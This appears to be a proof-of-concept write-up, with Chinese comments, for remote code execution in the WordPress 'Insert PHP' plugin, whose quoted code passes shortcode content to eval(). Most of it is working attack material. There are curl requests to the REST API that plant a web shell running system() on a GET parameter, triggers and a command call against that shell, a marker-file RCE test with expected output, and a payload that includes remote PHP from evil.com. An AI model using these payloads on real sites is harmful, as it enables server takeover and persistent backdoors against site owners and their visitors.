// File: insert-php/insert_php.php
function will_bontrager_insert_php($content) {
    $will_bontrager_content = $content;
    preg_match_all(
        '!\[insert_php[^\]]*\](.*?)\[/insert_php[^\]]*\]!is',
        $will_bontrager_content,
        $will_bontrager_matches
    );
    $will_bontrager_nummatches = count($will_bontrager_matches[0]);
    for ($will_bontrager_i = 0; $will_bontrager_i < $will_bontrager_nummatches; $will_bontrager_i++) {
        ob_start();
        eval($will_bontrager_matches[1][$will_bontrager_i]);  // <-- 漏洞点
        $will_bontrager_replacement = ob_get_contents();
        ob_clean();
        ob_end_flush();
        $will_bontrager_content = preg_replace(
            '/'.preg_quote($will_bontrager_matches[0][$will_bontrager_i], '/').'/',
            $will_bontrager_replacement,
            $will_bontrager_content,
            1
        );
    }
    return $will_bontrager_content;
}

add_filter('the_content', 'will_bontrager_insert_php', 9);

curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{
    "title": "Malicious Post",
    "content": "[insert_php]file_put_contents(\"/var/www/html/shell.php\",\"<?php system(\\$_GET[\\\"cmd\\\"]); ?>\");[/insert_php]",
    "status": "publish"
  }'

curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

curl -s -k "https://yorbit7.ddev.site/shell.php?cmd=id"

# 创建文章
curl -s -k -X POST "https://yorbit7.ddev.site/wp-json/wp/v2/posts" \
  -H "Content-Type: application/json" \
  -u "USERNAME:APPLICATION_PASSWORD" \
  -d '{"title":"RCE Test","content":"[insert_php]file_put_contents(\"/var/www/html/rce_poc.txt\",\"RCE-SUCCESS\");[/insert_php]","status":"publish"}'

# 触发
curl -s -k "https://yorbit7.ddev.site/?p=POST_ID"

# 验证
cat /var/www/html/rce_poc.txt  # 应输出：RCE-SUCCESS

curl -s -k -X POST "/wp-json/wp/v2/posts/1234" \
  -H "Host: target.com" \
  -H "Content-Type: application/json" \
  -d '{
    "id": "1234ffff",
    "title": "by Hacker",
    "content": "[insert_php]include(\"http://evil.com/file.php\");[/insert_php]"
  }'

请求：创建文章，包含 [insert_php]file_put_contents("marker.txt","SUCCESS");[/insert_php]
响应：文章创建成功

请求：GET /?p=POST_ID
响应：页面渲染，PHP 代码执行，marker.txt 在服务器上创建

验证：
$ cat /var/www/html/marker.txt
SUCCESS